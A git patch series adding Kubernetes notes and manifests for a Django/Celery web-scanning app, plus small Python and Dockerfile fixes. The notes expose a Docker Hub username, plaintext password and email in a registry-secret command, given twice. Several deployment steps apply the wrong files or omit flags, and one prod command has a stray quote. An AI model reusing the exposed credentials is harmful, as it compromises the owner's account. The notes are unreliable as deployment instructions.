--- /dev/null +++ b/k8s/kubernetes-notes.md @@ -0,0 +1,84 @@ +### Create k8s files in yaml (kompose) +```shell +kompose convert -f docker-compose.yml -o ./k8s +``` + +### Build k8s +```shell +kubectl apply -f ./k8s/k8s-local.yaml +``` + +### Delete k8s +```shell +kubectl delete -f ./k8s/k8s-local.yaml +``` + +### List containers +```shell +kubectl get pod +``` + +### List pods with IPs +```shell +kubectl get pod -o wide +``` + +### To get all creation events for debugging: +```shell +kubectl get events --sort-by=.metadata.creationTimestamp +``` + +### SSH into container: +```shell +kubectl exec -it celery-849f76858b-bvmqg -- /bin/sh +``` + +### Creating secrets for docker: +```shell +kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=landonr --docker-password=Ljr500103! --docker-email=l.rodden52@gmail.com +``` + +#### - Then add this to both celery and app containers: +```yaml +spec: + imagePullSecrets: + - name: regcred +``` + +### Start and Stop minikube +```shell +minikube start +minikube stop +``` + +### Port Forwarding for app +```shell +kubectl port-forward service/app-service 8000:8000 +``` + + + +## Setps to Deploy localy +1. ensure minikube is running + - ``` minikube status ``` +2. create secrets for app image pull from docker + - ``` kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=landonr --docker-password=Ljr500103! --docker-email=l.rodden52@gmail.com ``` +3. build db-configs-configs + - ``` kubectl apply db-configs.yaml ``` +4. build db-deployment + - ``` kubectl apply db-deployment.yaml ``` +5. build redis-deployment +6. get pod ip of db-deployment + - ``` kubectl get pod --template '{{.status.podIP}}' ``` + - or ``` kubectl get pod -o wide ``` +7. copy ip and paste into app-configs-configs for field "DB_HOST" +8. build app-configs + - ``` kubectl apply app-config.yaml ``` +9. build app-deployment + - ``` kubectl apply db-deployment.yaml ``` +10. build celery-deployment + - ``` kubectl apply db-deployment.yaml ``` +11. port forwarding to app deployment + - ``` kubectl port-forward service/app-service 8000:8000 ``` + + \ No newline at end of file diff --git a/k8s/local/app-deployment.yaml b/k8s/local/app-deployment.yaml new file mode 100644 index 00000000..36be9020 --- /dev/null +++ b/k8s/local/app-deployment.yaml @@ -0,0 +1,59 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: app-deployment +spec: + replicas: 1 + selector: + matchLabels: + app: app + template: + metadata: + labels: + app: app + spec: + imagePullSecrets: + - name: regcred + containers: + - name: app + image: landonr/scanerr-server + imagePullPolicy: IfNotPresent + ports: + - containerPort: 8000 + command: + - "sh" + - "-c" + - > + python3 manage.py wait_for_db && + python3 manage.py makemigrations --no-input && + python3 manage.py migrate --no-input && + python3 manage.py collectstatic --no-input && + python3 manage.py create_admin && + python3 manage.py driver_s_test && + python3 manage.py driver_p_test && + python3 manage.py runserver 0.0.0.0:8000 + envFrom: + - configMapRef: + name: app-configs + resources: + limits: + cpu: "1" + memory: "1Gi" + requests: + cpu: "500m" + memory: "500Mi" + +--- + +apiVersion: v1 +kind: Service +metadata: + name: app-service +spec: + selector: + app: app + ports: + - protocol: TCP + port: 8000 + targetPort: 8000 + type: NodePort diff --git a/k8s/local/celery-deployment.yaml b/k8s/local/celery-deployment.yaml new file mode 100644 index 00000000..64ed79e9 --- /dev/null +++ b/k8s/local/celery-deployment.yaml @@ -0,0 +1,32 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: celery-deployment +spec: + replicas: 1 + selector: + matchLabels: + app: celery + template: + metadata: + labels: + app: celery + spec: + imagePullSecrets: + - name: regcred + containers: + - name: celery + image: landonr/scanerr-server + imagePullPolicy: IfNotPresent + command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"] + envFrom: + - configMapRef: + name: app-configs + resources: + limits: + cpu: "1" + memory: "1Gi" + requests: + cpu: "500m" + memory: "500Mi" + diff --git a/k8s/local/db-deployment.yaml b/k8s/local/db-deployment.yaml new file mode 100644 index 00000000..beee6ddd --- /dev/null +++ b/k8s/local/db-deployment.yaml @@ -0,0 +1,50 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: db-deployment +spec: + replicas: 1 + selector: + matchLabels: + app: db + template: + metadata: + labels: + app: db + spec: + containers: + - name: db + image: postgres:10-alpine + ports: + - containerPort: 5432 + envFrom: + - configMapRef: + name: db-configs + volumeMounts: + - name: pgdata-volume + mountPath: /var/lib/postgresql/data + resources: + limits: + cpu: "500m" + memory: "500Mi" + requests: + cpu: "250m" + memory: "250Mi" + volumes: + - name: pgdata-volume + persistentVolumeClaim: + claimName: pgdata-pvc + +--- + +apiVersion: v1 +kind: Service +metadata: + name: db-service +spec: + selector: + app: db + ports: + - protocol: TCP + port: 5432 + type: NodePort diff --git a/k8s/local/persistentvolumeclaim.yaml b/k8s/local/persistentvolumeclaim.yaml new file mode 100644 index 00000000..7580530f --- /dev/null +++ b/k8s/local/persistentvolumeclaim.yaml @@ -0,0 +1,10 @@ +apiVersion: v1 +kind: PersistentVolumeClaim +metadata: + name: pgdata-pvc +spec: + accessModes: + - ReadWriteOnce + resources: + requests: + storage: 1Gi diff --git a/k8s/local/redis-deployment.yaml b/k8s/local/redis-deployment.yaml new file mode 100644 index 00000000..03f93c59 --- /dev/null +++ b/k8s/local/redis-deployment.yaml @@ -0,0 +1,50 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + labels: + service: redis + name: redis +spec: + replicas: 1 + selector: + matchLabels: + service: redis + strategy: {} + template: + metadata: + labels: + service: redis + spec: + restartPolicy: Always + containers: + - image: redis:alpine + name: redis + ports: + - containerPort: 6379 + resources: + limits: + cpu: "250m" + memory: "250Mi" + requests: + cpu: "100m" + memory: "100Mi" +status: {} + + + +--- + +apiVersion: v1 +kind: Service +metadata: + labels: + service: redis + name: redis +spec: + ports: + - name: "6379" + port: 6379 + targetPort: 6379 + selector: + service: redis + diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml new file mode 100644 index 00000000..c91eb55a --- /dev/null +++ b/k8s/prod/app-deployment.yaml @@ -0,0 +1,59 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: app-deployment +spec: + replicas: 1 + selector: + matchLabels: + app: app + template: + metadata: + labels: + app: app + spec: + imagePullSecrets: + - name: regcred + containers: + - name: app + image: landonr/scanerr-server + imagePullPolicy: IfNotPresent + ports: + - containerPort: 8000 + command: + - "sh" + - "-c" + - > + python3 manage.py wait_for_db && + python3 manage.py makemigrations --no-input && + python3 manage.py migrate --no-input && + python3 manage.py collectstatic --no-input && + python3 manage.py create_admin && + python3 manage.py driver_s_test && + python3 manage.py driver_p_test && + gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000" + envFrom: + - configMapRef: + name: app-configs + resources: + limits: + cpu: "1" + memory: "1Gi" + requests: + cpu: "500m" + memory: "500Mi" + +--- + +apiVersion: v1 +kind: Service +metadata: + name: app-service +spec: + selector: + app: app + ports: + - protocol: TCP + port: 8000 + targetPort: 8000 + type: NodePort diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml new file mode 100644 index 00000000..64ed79e9 --- /dev/null +++ b/k8s/prod/celery-deployment.yaml @@ -0,0 +1,32 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: celery-deployment +spec: + replicas: 1 + selector: + matchLabels: + app: celery + template: + metadata: + labels: + app: celery + spec: + imagePullSecrets: + - name: regcred + containers: + - name: celery + image: landonr/scanerr-server + imagePullPolicy: IfNotPresent + command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"] + envFrom: + - configMapRef: + name: app-configs + resources: + limits: + cpu: "1" + memory: "1Gi" + requests: + cpu: "500m" + memory: "500Mi" + diff --git a/k8s/prod/redis-deployment.yaml b/k8s/prod/redis-deployment.yaml new file mode 100644 index 00000000..03f93c59 --- /dev/null +++ b/k8s/prod/redis-deployment.yaml @@ -0,0 +1,50 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + labels: + service: redis + name: redis +spec: + replicas: 1 + selector: + matchLabels: + service: redis + strategy: {} + template: + metadata: + labels: + service: redis + spec: + restartPolicy: Always + containers: + - image: redis:alpine + name: redis + ports: + - containerPort: 6379 + resources: + limits: + cpu: "250m" + memory: "250Mi" + requests: + cpu: "100m" + memory: "100Mi" +status: {} + + + +--- + +apiVersion: v1 +kind: Service +metadata: + labels: + service: redis + name: redis +spec: + ports: + - name: "6379" + port: 6379 + targetPort: 6379 + selector: + service: redis + From a136737187967eea0fed03d69aa4c2f228537bd2 Mon Sep 17 00:00:00 2001 From: landon Date: Sun, 28 May 2023 16:11:14 -0500 Subject: [PATCH 275/277] testing mask issue --- app/api/utils/image.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index 2b357887..a6f88768 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -511,8 +511,9 @@ async def scan_p(self, site, configs): def get_active_global_masks(): masks = Mask.objects.filter(active=True) active_masks = [] - for mask in masks: - active_masks.append(mask.id) + if len(masks) > 0: + for mask in masks: + active_masks.append(mask.id) return active_masks active_masks = await get_active_global_masks() From 2742a338d58cd1d153b7d97355a0389eb7162bd8 Mon Sep 17 00:00:00 2001 From: landon Date: Sat, 3 Jun 2023 10:16:43 -0500 Subject: [PATCH 276/277] trying to increase memory limit --- Dockerfile.prod | 1 + 1 file changed, 1 insertion(+) diff --git a/Dockerfile.prod b/Dockerfile.prod index be6dcdcb..b5ecf112 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -22,6 +22,7 @@ RUN npm cache clean --force # RUN export NODE_OPTIONS="--max-old-space-size=7000" # RUN export NODE_OPTIONS="--stack-size=262000" ENV NODE_OPTIONS=--max_old_space_size=7000 +ENV NODE_OPTIONS=-"-max-old-space-size=7000" # ENV NODE_OPTIONS=--stack-size=262000 # installing lighthouse & yellowlabtools From 54d5f0d70a4a29ff968f1946e41254eccd9051b5 Mon Sep 17 00:00:00 2001 From: landon Date: Sat, 3 Jun 2023 10:18:24 -0500 Subject: [PATCH 277/277] typo in dockerfile --- Dockerfile.prod | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile.prod b/Dockerfile.prod index b5ecf112..eb8edf96 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -22,7 +22,7 @@ RUN npm cache clean --force # RUN export NODE_OPTIONS="--max-old-space-size=7000" # RUN export NODE_OPTIONS="--stack-size=262000" ENV NODE_OPTIONS=--max_old_space_size=7000 -ENV NODE_OPTIONS=-"-max-old-space-size=7000" +ENV NODE_OPTIONS="--max-old-space-size=7000" # ENV NODE_OPTIONS=--stack-size=262000 # installing lighthouse & yellowlabtools
    - Scanerr Inc, 123 Tech Road, San Francisco CA + Scanerr, San Antonio TX